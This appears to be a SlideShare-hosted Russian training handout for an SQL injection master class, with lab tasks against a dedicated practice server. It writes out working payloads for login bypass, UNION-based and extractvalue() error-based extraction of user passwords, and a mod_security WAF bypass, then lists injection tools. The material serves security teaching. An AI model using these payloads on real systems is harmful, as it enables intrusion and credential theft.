SlideShare a Scribd company logo
«ВНЕДРЕНИЕ ОПЕРАТОРОВ SQL»

МАСТЕР-КЛАСС НА HACKDAY#2
ОГЛАВЛЕНИЕ
1   ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ ..........................................................3

    1.1 «В НЕДРЕНИЕ   ОПЕРАТОРОВ   SQL» (SQL I NJECTION )                                                  3

    1.2 «С ЛЕПОЕ   ВНЕДРЕНИЕ ОПЕРАТОРОВ   SQL» (B LIND SQL I NJECTION )                                    5

    1.3 О БХОД W EB A PPLICATION F IREWALL (WAF)   ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ   SQL I NJECTION            6


2   ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ ...............................................................................7

    2.1 И НСТРУМЕНТЫ   ДЛЯ РАБОТЫ С   SQL I NJECTION                                                       7

    2.2 С СЫЛКИ   НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ                                                              8




Мастер-класс по теме «Внедрение операторов SQL»                                               Страница 2 из 8
1 Задания для самостоятельной
  работы
          192.168.0.51 – IP сервера для самостоятельной работы.




 1.1 «Внедрение операторов SQL» (SQL Injection)

Действие                   Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:80/
1.   Обнаружить             a.   Зайдите на интерфейс http://192.168.0.51:80/
     уязвимость SQL         b. Укажите в качестве имени пользователя и пароля 1
     Injection
                            c.   Вы увидите уведомление об ошибке авторизации.
                            d. В качестве имени пользователя укажите 1'
                            e.   В качестве пароля укажите 1
                            f.   Вы должны увидеть следующее сообщение об ошибке:
                                      Query failed: You have an error in your SQL syntax
2.   Обойти процедуру       a.   В том же интерфейсе укажите в качестве имени пользователя и пароля 1'OR'1'='1
     аутентификации         b. Вы должны увидеть следующее сообщение об успешной авторизации:
                                      Logged as Administrator
                            c.   Вернитесь к началу и попробуйте ввести разные комбинации в качестве имени
                                 пользователя и пароля, например:
                                 'or 1=1--
                            d. Во всех приведенных случаях в примере выше Вы будете являться авторизованным
                                 пользователем системы, что достигается путем эксплуатации уязвимости SQL
                                 Injection.
3.   Получить список        a.   Перейдите по ссылке, которая становиться доступной после успешной авторизации в
     всех таблиц и               системе.
     колонок в              b. В качестве параметра «id» в адресной строке браузера введите следующую
     пространстве СУБД           комбинацию:
                                 14+union+select+'mytext'
                            c.   Теперь, в качестве параметра «id» в адресной строке браузера введите такую
                                 комбинацию:
                                 14+limit+0+union+select+'mytext'
                            d. Как можно заметить, в этом случае на странице отображается текст, который введен
                                 между двумя одинарными кавычками.
                                      mytext
                            e.   На этот раз в качестве параметра «id» в адресной строке браузера введите
                                 следующую комбинацию:
                                 14+union+select+'mytext'--


 Мастер-класс по теме «Внедрение операторов SQL»                                                 Страница 3 из 8
Действие                  Описание

                          f.   Должен быть получен результат, аналогичный предыдущему, но при выполнении
                               этого запроса отобразится вводимый текст между двумя одинарными кавычками
                               совместно с данными из СУБД.
                                   test14
                                   mytext
                          g.   Попробуйте в качестве параметра «id» в адресной строке браузера ввести
                               следующую комбинацию:
                               14+OR+1=1--
                                   Вы увидите содержимое всей таблицы.
                          h. Выведите список всех таблиц и колонок в базе данных, выполнив следующий запрос:
                               ?id=14+union+select+concat_ws(0x3a,table_name,column_name)
                               +from+information_schema.columns--
                          i.   Получите все значения из таблицы «users». Запрос должен выглядеть следующим
                               образом:
                               ?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users--
4.   Авторизоваться под   a.   Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
     пользователем             http://192.168.0.51:80/ под пользователем sqladmin.
     «sqladmin»




 Мастер-класс по теме «Внедрение операторов SQL»                                             Страница 4 из 8
1.2«Слепое внедрение операторов SQL» (Blind
    SQL Injection)

Действие                     Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:81/
1.   Используя               a.   Зайдите на интерфейс http://192.168.0.51:81/
     одинарную кавычку,      b. Перейдите на страницу «/actions.php».
     найти уязвимость
                             c.   Последовательно, подставляя одинарную кавычку во все параметры, передаваемые
     типа Blind SQL
                                  странице методом GET, необходимо обнаружить уязвимость SQL Injection. В
     Injection
                                  данном случае – это Blind SQL Injection.
                                       Query failed: You have an error in your SQL syntax
                             d. Убедитесь, что в данном случае уязвимость является «Слепым внедрением
                                  операторов SQL», используя методы, изученные на предыдущем занятии.
2.   Используя технику с     a.   В уязвимый параметр введите следующую конструкцию:
     функцией                     1 AND extractvalue(1,concat(0x5C,(select 'mytext')))--
     ExtractValue()
                             b. Как можно заметить, на странице отображается текст, который вводится между
     получить
                                  двумя одинарными кавычками.
     идентификаторы и
     пароли всех                       Query failed: XPATH syntax error: 'mytext'
     пользователей           c.   Используйте следующий запрос, чтобы получить запись о первой таблице с первой
                                  колонкой этой таблицы в пространстве СУБД:
                                  1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
                                  from information_schema.columns limit 0,1)))--
                             d. Используя подобный запрос, становиться возможным последовательно выявить всю
                                  доступную структуру СУБД. Следующий запрос позволит прийти к цели несколько
                                  быстрее:
                                  1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
                                  from information_schema.columns where table_schema!='information_schema' limit
                                  0,1)))--
                             e.   Увеличивая значение limit (limit 0,1 > limit 1,1 > limit 2,1 и т.д.), узнайте название
                                  таблицы пользователей и колонок в ней.
                             f.   Используя все ту же технику эксплуатации уязвимости Blind SQL Injection, получите
                                  пароль пользователя «blindSQLadmin».
                                       Опционально, можно получить пароли и других пользователей в этой таблице.
Примечание: Помните про ограничение в 31 символ в возвращаемой ошибке, вызываемой функцией extractvalue().
Для обхода этого ограничения может использоваться функция MID(). Пример: mid((select 123 from table limit 0,1),32,63)
3.   Авторизоваться под      a.   Используя данные, полученные на предыдущем этапе, авторизуйтесь под
     пользователем                пользователем «blindSQLadmin» в интерфейсе http://192.168.0.51:81/.
     «blindSQLadmin»




 Мастер-класс по теме «Внедрение операторов SQL»                                                       Страница 5 из 8
1.3Обход Web Application Firewall (WAF) при
    эксплуатации уязвимости SQL Injection

Действие                   Описание

Примечание: Действие выполняется из интерфейса http://192.168.0.51:9191/
1.   Найти уязвимый         a.   Зайдите на интерфейс http://192.168.0.51:9191/
     сценарий для           b. Перейдите по ссылке «actions here».
     проведения атаки
                            c.   Используя одинарную кавычку, убедитесь, что в параметрах адресной строки
                                 содержится уязвимость типа «Внедрение операторов SQL».
                            d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
                                 Например, установите в значение любого параметра конструкцию: «1 union select 1»
                                     Вы увидите стандартное сообщение об ошибке, возвращаемое Mod_Security.
Примечание: Web-приложение защищено mod_security v.2.5.9.
2.   Используя технику      a.   Используя технику обхода правил mod_security, следующая конструкция будет
     обхода waf,                 пропущена WAF:
     воспользуйтесь              /*!
     уязвимостью                 limit+0+union+select+concat_ws(0x3a,table_name,column_name),2,3+from+informat
                                 ion_schema.columns*/
                            b. Используя уже известную Вам технику эксплуатации уязвимости типа «Внедрение
                                 операторов SQL» в классическом и слепом виде, получите пароль пользователя root.
                                     Опционально, можно получить пароли и других пользователей.
3.   Авторизоваться под     a.   Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
     пользователем               http://192.168.0.51:9191/ под пользователем root.
     «root»




 Мастер-класс по теме «Внедрение операторов SQL»                                              Страница 6 из 8
2 Дополнительные материалы


2.1 Инструменты для работы с SQL Injection
              sqlmap (http://sqlmap.sourceforge.net/)
       Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server
       Частичная поддержка: Microsoft Access, DB2, Informix, Sybase и Interbase
              sqlus (http://sqlsus.sourceforge.net/)
       Реализована поддержка только MySQL
              bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/)
       Больше ориентирована под слепые SQL-инъекции. Реализована поддержка:
       MySQL, Oracle, PostgreSQL и Microsoft SQL Server
              Pangolin (http://www.nosec.org/2009/0920/74.html)
       Реализована поддержка: Oracle, MS SQL Server 2000, MS SQL Server 2005,
       Sybase, Access, Mysql, DB2, Informix. Pangolin распространяется на
       коммерческой основе, но также доступна и бесплатная версия с
       ограниченным функционалом.




Мастер-класс по теме «Внедрение операторов SQL»                        Страница 7 из 8
2.2Ссылки на дополнительные материалы
              http://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full-
               pack.html (полная версия данного мастер-класса)
              http://www.ptsecurity.ru/analytics.asp (Аналитические материалы от
               сотрудников компании Positive Technologies)


              WASC: http://projects.webappsec.org/SQL-Injection
              OWASP: http://www.owasp.org/index.php/SQL_Injection
              Ресурсы Securitylab: http://www.securitylab.ru/
              Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle,
               MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix)
              Ресурсы Antichat:
                MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html
                MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127
                MSSQL: http://forum.antichat.ru/thread15087.html
                ORACLE: http://forum.antichat.ru/showthread.php?t=40576
                PostgreSQL: http://forum.antichat.ru/thread35599.html
                MSAccess: http://forum.antichat.ru/thread50550.html




Мастер-класс по теме «Внедрение операторов SQL»                            Страница 8 из 8

More Related Content

What's hot

Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6Technopark
 
Эффективное программирование на NodeJS
Эффективное программирование на NodeJSЭффективное программирование на NodeJS
Эффективное программирование на NodeJS
Yura Bogdanov
 
Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4Technopark
 
Лекция #7. Django ORM
Лекция #7. Django ORMЛекция #7. Django ORM
Лекция #7. Django ORM
Яковенко Кирилл
 
МАИ, Сети ЭВМ, Лекция №4
МАИ, Сети ЭВМ, Лекция №4МАИ, Сети ЭВМ, Лекция №4
МАИ, Сети ЭВМ, Лекция №4
Dima Dzuba
 
Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3
Яковенко Кирилл
 
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглитьСергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
Tanya Denisyuk
 
JDBC
JDBCJDBC
Web осень 2013 лекция 8
Web осень 2013 лекция 8Web осень 2013 лекция 8
Web осень 2013 лекция 8Technopark
 
Web осень 2013 лекция 7
Web осень 2013 лекция 7Web осень 2013 лекция 7
Web осень 2013 лекция 7Technopark
 
Cookies, session и другое в JSP
Cookies, session и другое в JSPCookies, session и другое в JSP
Cookies, session и другое в JSP
Unguryan Vitaliy
 
Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]
Burt and Co LLC
 
Введение в Spring
Введение в SpringВведение в Spring
Введение в Spring
Unguryan Vitaliy
 
Access 04
Access 04Access 04
Access 04
Alexander Babich
 
Основы Java. 5. Databases
Основы Java. 5. DatabasesОсновы Java. 5. Databases
Основы Java. 5. Databases
Sergey Nemchinsky
 
Лекция Android. БД SQLite, ContentProvider, Loader
Лекция Android. БД SQLite, ContentProvider, LoaderЛекция Android. БД SQLite, ContentProvider, Loader
Лекция Android. БД SQLite, ContentProvider, Loader
Александр Брич
 
Работа с БД в Java
Работа с БД в JavaРабота с БД в Java
Работа с БД в Java
metaform
 
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Badoo Development
 
Master class bars group ext js4
Master class bars group   ext js4Master class bars group   ext js4
Master class bars group ext js4Radik Fattakhov
 

What's hot (20)

Web осень 2013 лекция 6
Web осень 2013 лекция 6Web осень 2013 лекция 6
Web осень 2013 лекция 6
 
Эффективное программирование на NodeJS
Эффективное программирование на NodeJSЭффективное программирование на NodeJS
Эффективное программирование на NodeJS
 
Zend Framework и Doctrine
Zend Framework и DoctrineZend Framework и Doctrine
Zend Framework и Doctrine
 
Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4
 
Лекция #7. Django ORM
Лекция #7. Django ORMЛекция #7. Django ORM
Лекция #7. Django ORM
 
МАИ, Сети ЭВМ, Лекция №4
МАИ, Сети ЭВМ, Лекция №4МАИ, Сети ЭВМ, Лекция №4
МАИ, Сети ЭВМ, Лекция №4
 
Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3Лекция #5. Введение в язык программирования Python 3
Лекция #5. Введение в язык программирования Python 3
 
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглитьСергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглить
 
JDBC
JDBCJDBC
JDBC
 
Web осень 2013 лекция 8
Web осень 2013 лекция 8Web осень 2013 лекция 8
Web осень 2013 лекция 8
 
Web осень 2013 лекция 7
Web осень 2013 лекция 7Web осень 2013 лекция 7
Web осень 2013 лекция 7
 
Cookies, session и другое в JSP
Cookies, session и другое в JSPCookies, session и другое в JSP
Cookies, session и другое в JSP
 
Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]
 
Введение в Spring
Введение в SpringВведение в Spring
Введение в Spring
 
Access 04
Access 04Access 04
Access 04
 
Основы Java. 5. Databases
Основы Java. 5. DatabasesОсновы Java. 5. Databases
Основы Java. 5. Databases
 
Лекция Android. БД SQLite, ContentProvider, Loader
Лекция Android. БД SQLite, ContentProvider, LoaderЛекция Android. БД SQLite, ContentProvider, Loader
Лекция Android. БД SQLite, ContentProvider, Loader
 
Работа с БД в Java
Работа с БД в JavaРабота с БД в Java
Работа с БД в Java
 
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".
 
Master class bars group ext js4
Master class bars group   ext js4Master class bars group   ext js4
Master class bars group ext js4
 

Viewers also liked (8)

Otto itsesäätöinen oppiminen
Otto itsesäätöinen oppiminenOtto itsesäätöinen oppiminen
Otto itsesäätöinen oppiminen
 
Jonnan Luento 2
Jonnan Luento 2Jonnan Luento 2
Jonnan Luento 2
 
Posters041013
Posters041013Posters041013
Posters041013
 
Web quest part i
Web quest   part iWeb quest   part i
Web quest part i
 
Water project
Water projectWater project
Water project
 
Allyson Luento 2
Allyson Luento 2Allyson Luento 2
Allyson Luento 2
 
Yhteisollinen oppiminen ja_opettajuus_n&v
Yhteisollinen oppiminen ja_opettajuus_n&vYhteisollinen oppiminen ja_opettajuus_n&v
Yhteisollinen oppiminen ja_opettajuus_n&v
 
Tel1 2013 04-04
Tel1 2013 04-04Tel1 2013 04-04
Tel1 2013 04-04
 

Similar to PT Hackday#2

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
SQALab
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
Zestranec
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
Positive Hack Days
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестированииISsoft
 
Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.
Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.
Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.
Fedor Malyshkin
 
Инструментация среды исполнения в арсенале тестировщика
Инструментация среды исполнения в арсенале тестировщикаИнструментация среды исполнения в арсенале тестировщика
Инструментация среды исполнения в арсенале тестировщика
SQALab
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Positive Development User Group
 
Ошибки, которые сложно заметить на code review, но которые находятся статичес...
Ошибки, которые сложно заметить на code review, но которые находятся статичес...Ошибки, которые сложно заметить на code review, но которые находятся статичес...
Ошибки, которые сложно заметить на code review, но которые находятся статичес...
Andrey Karpov
 
Symfony2 practice
Symfony2 practiceSymfony2 practice
Symfony2 practice
Skorney
 
Jdbc in java
Jdbc in javaJdbc in java
Jdbc in java
Asya Dudnik
 
Grails & Groovy
Grails & GroovyGrails & Groovy
Grails & Groovy
Denys Sosuliev
 
C++ весна 2014 лекция 2
C++ весна 2014 лекция 2C++ весна 2014 лекция 2
C++ весна 2014 лекция 2Technopark
 
Sql injection
Sql injectionSql injection
Sql injection
Michal11221
 
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
KazHackStan
 
Web deployment
Web deploymentWeb deployment
Web deployment
GetDev.NET
 
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
Andrey Karpov
 
Производительность в Django
Производительность в DjangoПроизводительность в Django
Производительность в Django
MoscowDjango
 
Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...
Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...
Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...
Dmitry Andreev
 

Similar to PT Hackday#2 (20)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.
Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.
Методики «Inversion of Control» и «Dependency Injection». Применение в Spring.
 
Инструментация среды исполнения в арсенале тестировщика
Инструментация среды исполнения в арсенале тестировщикаИнструментация среды исполнения в арсенале тестировщика
Инструментация среды исполнения в арсенале тестировщика
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
 
Ошибки, которые сложно заметить на code review, но которые находятся статичес...
Ошибки, которые сложно заметить на code review, но которые находятся статичес...Ошибки, которые сложно заметить на code review, но которые находятся статичес...
Ошибки, которые сложно заметить на code review, но которые находятся статичес...
 
176023
176023176023
176023
 
Symfony2 practice
Symfony2 practiceSymfony2 practice
Symfony2 practice
 
Jdbc in java
Jdbc in javaJdbc in java
Jdbc in java
 
Grails & Groovy
Grails & GroovyGrails & Groovy
Grails & Groovy
 
C++ весна 2014 лекция 2
C++ весна 2014 лекция 2C++ весна 2014 лекция 2
C++ весна 2014 лекция 2
 
Sql injection
Sql injectionSql injection
Sql injection
 
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
 
Web deployment
Web deploymentWeb deployment
Web deployment
 
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
 
Производительность в Django
Производительность в DjangoПроизводительность в Django
Производительность в Django
 
Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...
Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...
Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...
 

More from Dmitry Evteev

Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...
Dmitry Evteev
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
Dmitry Evteev
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Dmitry Evteev
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Dmitry Evteev
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Dmitry Evteev
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Dmitry Evteev
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБОDmitry Evteev
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системDmitry Evteev
 
Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банковDmitry Evteev
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future NowDmitry Evteev
 
Такой (не)безопасный веб
Такой (не)безопасный вебТакой (не)безопасный веб
Такой (не)безопасный вебDmitry Evteev
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеровDmitry Evteev
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
Dmitry Evteev
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftDmitry Evteev
 
PHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоDmitry Evteev
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийDmitry Evteev
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
Dmitry Evteev
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестированийDmitry Evteev
 
Мобильный офис глазами пентестера
Мобильный офис глазами пентестераМобильный офис глазами пентестера
Мобильный офис глазами пентестера
Dmitry Evteev
 

More from Dmitry Evteev (20)

Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБО
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских систем
 
Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банков
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future Now
 
Такой (не)безопасный веб
Такой (не)безопасный вебТакой (не)безопасный веб
Такой (не)безопасный веб
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеров
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
PHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это было
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
 
Мобильный офис глазами пентестера
Мобильный офис глазами пентестераМобильный офис глазами пентестера
Мобильный офис глазами пентестера
 

PT Hackday#2

  • 2. ОГЛАВЛЕНИЕ 1 ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ ..........................................................3 1.1 «В НЕДРЕНИЕ ОПЕРАТОРОВ SQL» (SQL I NJECTION ) 3 1.2 «С ЛЕПОЕ ВНЕДРЕНИЕ ОПЕРАТОРОВ SQL» (B LIND SQL I NJECTION ) 5 1.3 О БХОД W EB A PPLICATION F IREWALL (WAF) ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 6 2 ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ ...............................................................................7 2.1 И НСТРУМЕНТЫ ДЛЯ РАБОТЫ С SQL I NJECTION 7 2.2 С СЫЛКИ НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 8 Мастер-класс по теме «Внедрение операторов SQL» Страница 2 из 8
  • 3. 1 Задания для самостоятельной работы 192.168.0.51 – IP сервера для самостоятельной работы. 1.1 «Внедрение операторов SQL» (SQL Injection) Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:80/ 1. Обнаружить a. Зайдите на интерфейс http://192.168.0.51:80/ уязвимость SQL b. Укажите в качестве имени пользователя и пароля 1 Injection c. Вы увидите уведомление об ошибке авторизации. d. В качестве имени пользователя укажите 1' e. В качестве пароля укажите 1 f. Вы должны увидеть следующее сообщение об ошибке: Query failed: You have an error in your SQL syntax 2. Обойти процедуру a. В том же интерфейсе укажите в качестве имени пользователя и пароля 1'OR'1'='1 аутентификации b. Вы должны увидеть следующее сообщение об успешной авторизации: Logged as Administrator c. Вернитесь к началу и попробуйте ввести разные комбинации в качестве имени пользователя и пароля, например: 'or 1=1-- d. Во всех приведенных случаях в примере выше Вы будете являться авторизованным пользователем системы, что достигается путем эксплуатации уязвимости SQL Injection. 3. Получить список a. Перейдите по ссылке, которая становиться доступной после успешной 